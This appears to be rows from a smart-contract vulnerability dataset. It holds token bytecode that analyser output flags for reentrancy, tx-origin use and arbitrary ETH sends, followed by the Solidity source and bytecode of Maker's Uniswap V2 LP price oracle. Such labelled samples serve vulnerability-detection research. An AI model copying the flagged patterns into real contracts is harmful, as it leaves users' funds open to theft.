06040513d601f19601f8201168201806040525081019061092c9190611f7d565b6001600160a01b0383166111525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610839565b6001600160a01b0382166111b35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610839565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610839565b6001600160a01b0382166112da5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610839565b6000811161133c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610839565b6001600160a01b03831660009081526006602052604090205460ff16156113b15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610839565b600080546001600160a01b038581169116148015906113de57506000546001600160a01b03848116911614155b1561182357600a546001600160a01b03858116911614801561140e57506007546001600160a01b03848116911614155b801561143357506001600160a01b03831660009081526004602052604090205460ff16155b156116bf5760115460ff1661148a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610839565b60105442036114c95760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610839565b42601054610e106114da9190611f9a565b111561155457600f546114ec84610a8f565b6114f69084611f9a565b11156115545760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610839565b6001600160a01b03831660009081526005602052604090206001015460ff166115bc576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115cc9190611f9a565b11156116a057600e548211156116245760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610839565b61162f42600f611f9a565b6001600160a01b038416600090815260056020526040902054106116a05760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610839565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116d9575060115460ff165b80156116f35750600a546001600160a01b03858116911614155b156118235761170342600f611f9a565b6001600160a01b038516600090815260056020526040902054106117755760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610839565b600061178030610a8f565b9050801561180c5760115462010000900460ff161561180357600d54600a54606491906117b5906001600160a01b0316610a8f565b6117bf9190611fb2565b6117c99190611fd1565b81111561180357600d54600a54606491906117ec906001600160a01b0316610a8f565b6117f69190611fb2565b6118009190611fd1565b90505b61180c81611907565b47801561181c5761181c47611882565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061186557506001600160a01b03841660009081526004602052604090205460ff165b1561186e575060005b61187b8585858486611a7b565b5050505050565b6008546001600160a01b03166108fc61189c600284611fd1565b6040518115909202916000818181858888f193505050501580156118c4573d6000803e3d6000fd5b506009546001600160a01b03166108fc6118df600284611fd1565b6040518115909202916000818181858888f1935050505015801561092c573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061194b5761194b611ece565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c89190611f32565b816001815181106119db576119db611ece565b6001600160a01b039283166020918202929092010152600754611a0191309116846110f0565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a3a908590600090869030904290600401611ff3565b600060405180830381600087803b158015611a5457600080fd5b505af1158015611a68573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a878383611a9d565b9050611a9586868684611ae4565b505050505050565b6000808315611add578215611ab55750600b54611add565b50600c54601054611ac890610384611f9a565b421015611add57611ada600582611f9a565b90505b9392505050565b600080611af18484611bc1565b6001600160a01b0388166000908152600260205260409020549193509150611b1a908590611eb7565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b4a908390611f9a565b6001600160a01b038616600090815260026020526040902055611b6c81611bf5565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bb191815260200190565b60405180910390a3505050505050565b600080806064611bd18587611fb2565b611bdb9190611fd1565b90506000611be98287611eb7565b96919550909350505050565b30600090815260026020526040902054611c10908290611f9a565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c5057858101830151858201604001528201611c34565b81811115611c62576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a8c57600080fd5b8035611c9881611c78565b919050565b600060208284031215611caf57600080fd5b8135611add81611c78565b60008060408385031215611ccd57600080fd5b8235611cd881611c78565b946020939093013593505050565b60008060408385031215611cf957600080fd5b50508035926020909101359150565b600080600060608486031215611d1d57600080fd5b8335611d2881611c78565b92506020840135611d3881611c78565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d7257600080fd5b823567ffffffffffffffff80821115611d8a57600080fd5b818501915085601f830112611d9e57600080fd5b813581811115611db057611db0611d49565b8060051b604051601f19603f83011681018181108582111715611dd557611dd5611d49565b604052918252848201925083810185019188831115611df357600080fd5b938501935b82851015611e1857611e0985611c8d565b84529385019392850192611df8565b98975050505050505050565b600060208284031215611e3657600080fd5b5035919050565b8015158114610a8c57600080fd5b600060208284031215611e5d57600080fd5b8135611add81611e3d565b60008060408385031215611e7b57600080fd5b8235611e8681611c78565b91506020830135611e9681611c78565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ec957611ec9611ea1565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ef657611ef6611ea1565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f4457600080fd5b8151611add81611c78565b600080600060608486031215611f6457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f8f57600080fd5b8151611add81611e3d565b60008219821115611fad57611fad611ea1565b500190565b6000816000190483118215151615611fcc57611fcc611ea1565b500290565b600082611fee57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120435784516001600160a01b03168352938301939183019160010161201e565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207cc71151d0466254fe5b86c7384d73d93c4e9f6ea2685482ef968d0a69c56d2f64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,477 |
0x8d34dc2c33a6386e96ca562d8478eaf82305b81a | // SPDX-License-Identifier: GPL-3.0-or-later
/// UNIV2LPOracle.sol
// Copyright (C) 2017-2021 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// INVARIANT k = reserve0 [num token0] * reserve1 [num token1]
//
// k = r_x * r_y
// r_y = k / r_x
//
// 50-50 pools try to stay balanced in dollar terms
// r_x * p_x = r_y * p_y // Proportion of r_x and r_y can be manipulated so need to normalize them
//
// r_x * p_x = p_y * (k / r_x)
// r_x^2 = k * p_y / p_x
// r_x = sqrt(k * p_y / p_x) & r_y = sqrt(k * p_x / p_y)
//
// Now that we've calculated normalized values of r_x and r_y that are not prone to manipulation by an attacker,
// we can calculate the price of an lp token using the following formula.
//
// p_lp = (r_x * p_x + r_y * p_y) / supply_lp
//
pragma solidity ^0.6.11;
interface ERC20Like {
function decimals() external view returns (uint8);
function balanceOf(address) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
interface UniswapV2PairLike {
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast
}
interface OracleLike {
function read() external view returns (uint256);
function peek() external view returns (uint256,bool);
}
// Factory for creating Uniswap V2 LP Token Oracle instances
contract UNIV2LPOracleFactory {
mapping(address => bool) public isOracle;
event Created(address sender, address orcl, bytes32 wat, address tok0, address tok1, address orb0, address orb1);
// Create new Uniswap V2 LP Token Oracle instance
function build(address _src, bytes32 _wat, address _orb0, address _orb1) public returns (address orcl) {
address tok0 = UniswapV2PairLike(_src).token0();
address tok1 = UniswapV2PairLike(_src).token1();
orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1));
UNIV2LPOracle(orcl).rely(msg.sender);
isOracle[orcl] = true;
emit Created(msg.sender, orcl, _wat, tok0, tok1, _orb0, _orb1);
}
}
contract UNIV2LPOracle {
// --- Auth ---
mapping (address => uint) public wards; // Addresses with admin authority
function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } // Add admin
function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } // Remove admin
modifier auth {
require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized");
_;
}
// --- Stop ---
uint256 public stopped; // Stop/start ability to read
modifier stoppable { require(stopped == 0, "UNIV2LPOracle/is-stopped"); _; }
// --- Whitelisting ---
mapping (address => uint256) public bud;
modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; }
// --- Data ---
uint8 public immutable dec0; // Decimals of token0
uint8 public immutable dec1; // Decimals of token1
address public orb0; // Oracle for token0, ideally a Medianizer
address public orb1; // Oracle for token1, ideally a Medianizer
bytes32 public immutable wat; // Token whose price is being tracked
uint32 public hop = 1 hours; // Minimum time inbetween price updates
address public src; // Price source
uint32 public zzz; // Time of last price update
struct Feed {
uint128 val; // Price
uint128 has; // Is price valid
}
Feed public cur; // Current price
Feed public nxt; // Queued price
// --- Math ---
uint256 constant WAD = 10 ** 18;
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0 && (z = x / y) * y == x, "ds-math-divide-by-zero");
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
// Compute the square root using the Babylonian method.
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Change(address indexed src);
event Step(uint256 hop);
event Stop();
event Start();
event Value(uint128 curVal, uint128 nxtVal);
event Link(uint256 id, address orb);
// --- Init ---
constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public {
require(_src != address(0), "UNIV2LPOracle/invalid-src-address");
require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address");
wards[msg.sender] = 1;
src = _src;
zzz = 0;
wat = _wat;
dec0 = uint8(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); // Get decimals of token0
dec1 = uint8(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); // Get decimals of token1
orb0 = _orb0;
orb1 = _orb1;
}
function stop() external auth {
stopped = 1;
emit Stop();
}
function start() external auth {
stopped = 0;
emit Start();
}
function change(address _src) external auth {
src = _src;
emit Change(src);
}
function step(uint256 _hop) external auth {
require(_hop <= uint32(-1), "UNIV2LPOracle/invalid-hop");
hop = uint32(_hop);
emit Step(hop);
}
function link(uint256 id, address orb) external auth {
require(orb != address(0), "UNIV2LPOracle/no-contract-0");
if(id == 0) {
orb0 = orb;
} else if (id == 1) {
orb1 = orb;
}
emit Link(id, orb);
}
function pass() public view returns (bool ok) {
return block.timestamp >= add(zzz, hop);
}
function seek() internal returns (uint128 quote, uint32 ts) {
// Sync up reserves of uniswap liquidity pool
UniswapV2PairLike(src).sync();
// Get reserves of uniswap liquidity pool
(uint112 res0, uint112 res1, uint32 _ts) = UniswapV2PairLike(src).getReserves();
require(res0 > 0 && res1 > 0, "UNIV2LPOracle/invalid-reserves");
ts = _ts;
require(ts == block.timestamp);
// Adjust reserves w/ respect to decimals
if (dec0 != uint8(18)) res0 = uint112(res0 * 10 ** sub(18, dec0));
if (dec1 != uint8(18)) res1 = uint112(res1 * 10 ** sub(18, dec1));
// Calculate constant product invariant k (WAD * WAD)
uint256 k = mul(res0, res1);
// All Oracle prices are priced with 18 decimals against USD
uint256 val0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD)
uint256 val1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD)
require(val0 != 0, "UNIV2LPOracle/invalid-oracle-0-price");
require(val1 != 0, "UNIV2LPOracle/invalid-oracle-1-price");
// Calculate normalized balances of token0 and token1
uint256 bal0 =
sqrt(
wmul(
k,
wdiv(
val1,
val0
)
)
);
uint256 bal1 = wdiv(k, bal0) / WAD;
// Get LP token supply
uint256 supply = ERC20Like(src).totalSupply();
require(supply > 0, "UNIV2LPOracle/invalid-lp-token-supply");
// Calculate price quote of LP token
quote = uint128(
wdiv(
add(
wmul(bal0, val0), // (WAD)
wmul(bal1, val1) // (WAD)
),
supply // (WAD)
)
);
}
function poke() external stoppable {
require(pass(), "UNIV2LPOracle/not-passed");
(uint val, uint32 ts) = seek();
require(val != 0, "UNIV2LPOracle/invalid-price");
cur = nxt;
nxt = Feed(uint128(val), 1);
zzz = ts;
emit Value(cur.val, nxt.val);
}
function peek() external view toll returns (bytes32,bool) {
return (bytes32(uint(cur.val)), cur.has == 1);
}
function peep() external view toll returns (bytes32,bool) {
return (bytes32(uint(nxt.val)), nxt.has == 1);
}
function read() external view toll returns (bytes32) {
require(cur.has == 1, "UNIV2LPOracle/no-current-value");
return (bytes32(uint(cur.val)));
}
function kiss(address a) external auth {
require(a != address(0), "UNIV2LPOracle/no-contract-0");
bud[a] = 1;
}
function kiss(address[] calldata a) external auth {
for(uint i = 0; i < a.length; i++) {
require(a[i] != address(0), "UNIV2LPOracle/no-contract-0");
bud[a[i]] = 1;
}
}
function diss(address a) external auth {
bud[a] = 0;
}
function diss(address[] calldata a) external auth {
for(uint i = 0; i < a.length; i++) {
bud[a[i]] = 0;
}
}
} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806365af790911610104578063a7a1ed72116100a2578063c478a1b111610071578063c478a1b1146107b0578063cc32b7d5146107d4578063dca44f6f146107f8578063f29c29c414610842576101cf565b8063a7a1ed7214610702578063b0b8579b14610724578063be9a65551461074e578063bf353dbb14610758576101cf565b80636c2552f9116100de5780636c2552f91461062c57806375f12b21146106765780639c52a7f114610694578063a4dff0a2146106d8576101cf565b806365af79091461055657806365c4ce7a146105a457806365fae35e146105e8576101cf565b80633a1cde75116101715780634fce7a2a1161014b5780634fce7a2a1461044a5780634fe24251146104a257806357de26a41461050f57806359e02dd71461052d576101cf565b80633a1cde751461038557806346d4577d146103b35780634ca299231461042c576101cf565b806318178358116101ad57806318178358146102745780631b25b65f1461027e5780631e77933e146102f75780632e7dc6af1461033b576101cf565b806303e0187a146101d457806307da68f5146102415780630e5a6c701461024b575b600080fd5b6101dc610886565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6102496108d0565b005b6102536109b9565b60405180838152602001821515151581526020019250505060405180910390f35b61027c610aca565b005b6102f56004803603602081101561029457600080fd5b81019080803590602001906401000000008111156102b157600080fd5b8201836020820111156102c357600080fd5b803590602001918460208302840111640100000000831117156102e557600080fd5b9091929391929390505050610ebc565b005b6103396004803603602081101561030d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110cb565b005b610343611228565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103b16004803603602081101561039b57600080fd5b810190808035906020019092919050505061124e565b005b61042a600480360360208110156103c957600080fd5b81019080803590602001906401000000008111156103e657600080fd5b8201836020820111156103f857600080fd5b8035906020019184602083028401116401000000008311171561041a57600080fd5b9091929391929390505050611411565b005b610434611555565b6040518082815260200191505060405180910390f35b61048c6004803603602081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611579565b6040518082815260200191505060405180910390f35b6104aa611591565b60405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6105176115db565b6040518082815260200191505060405180910390f35b61053561175a565b60405180838152602001821515151581526020019250505060405180910390f35b6105a26004803603604081101561056c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061186b565b005b6105e6600480360360208110156105ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611acc565b005b61062a600480360360208110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc8565b005b610634611d06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067e611d2c565b6040518082815260200191505060405180910390f35b6106d6600480360360208110156106aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d32565b005b6106e0611e70565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b61070a611e86565b604051808215151515815260200191505060405180910390f35b61072c611eca565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b610756611ee0565b005b61079a6004803603602081101561076e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fca565b6040518082815260200191505060405180910390f35b6107b8611fe2565b604051808260ff1660ff16815260200191505060405180910390f35b6107dc612006565b604051808260ff1660ff16815260200191505060405180910390f35b61080061202a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108846004803603602081101561085857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612050565b005b60078060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905082565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600180819055507fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b60405160405180910390a1565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b600760000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600760000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614915091509091565b600060015414610b42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f69732d73746f70706564000000000000000081525060200191505060405180910390fd5b610b4a611e86565b610bbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f554e4956324c504f7261636c652f6e6f742d706173736564000000000000000081525060200191505060405180910390fd5b600080610bc76121ef565b91506fffffffffffffffffffffffffffffffff1691506000821415610c54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f696e76616c69642d7072696365000000000081525060200191505060405180910390fd5b600760066000820160009054906101000a90046fffffffffffffffffffffffffffffffff168160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506000820160109054906101000a90046fffffffffffffffffffffffffffffffff168160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055509050506040518060400160405280836fffffffffffffffffffffffffffffffff16815260200160016fffffffffffffffffffffffffffffffff16815250600760008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505080600560146101000a81548163ffffffff021916908363ffffffff1602179055507f80a5d0081d7e9a7bdb15ef207c6e0772f0f56d24317693206c0e47408f2d0b73600660000160009054906101000a90046fffffffffffffffffffffffffffffffff16600760000160009054906101000a90046fffffffffffffffffffffffffffffffff1660405180836fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008090505b828290508110156110c657600073ffffffffffffffffffffffffffffffffffffffff16838383818110610fa557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561104c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b60016002600085858581811061105e57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050610f76565b505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f02dc774d82d07722c8c43c212eebb2feaea7924c5472da3b7c2ba5fb532087c760405160405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611302576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff63ffffffff1681111561139e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f554e4956324c504f7261636c652f696e76616c69642d686f700000000000000081525060200191505060405180910390fd5b80600460146101000a81548163ffffffff021916908363ffffffff1602179055507fd5cae49d972f01d170fb2d3409c5f318698639863c0403e59e4af06e0ce92817600460149054906101000a900463ffffffff16604051808263ffffffff16815260200191505060405180910390a150565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146114c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008090505b82829050811015611550576000600260008585858181106114e857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806001019150506114cb565b505050565b7f554e49563241415645455448000000000000000000000000000000000000000081565b60026020528060005260406000206000915090505481565b60068060000160009054906101000a90046fffffffffffffffffffffffffffffffff16908060000160109054906101000a90046fffffffffffffffffffffffffffffffff16905082565b60006001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611675576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b6001600660000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff161461171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f6e6f2d63757272656e742d76616c7565000081525060200191505060405180910390fd5b600660000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b905090565b6000806001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146117f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612b366026913960400191505060405180910390fd5b600660000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660001b6001600660000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1614915091509091565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461191f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b6000821415611a115780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a5d565b6001821415611a5c5780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b7f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a78282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611b80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c7c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611de6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b600560149054906101000a900463ffffffff1681565b6000611ec2600560149054906101000a900463ffffffff1663ffffffff16600460149054906101000a900463ffffffff1663ffffffff16612877565b421015905090565b600460149054906101000a900463ffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611f94576040517f08c379a00000000000000000000000000000000000000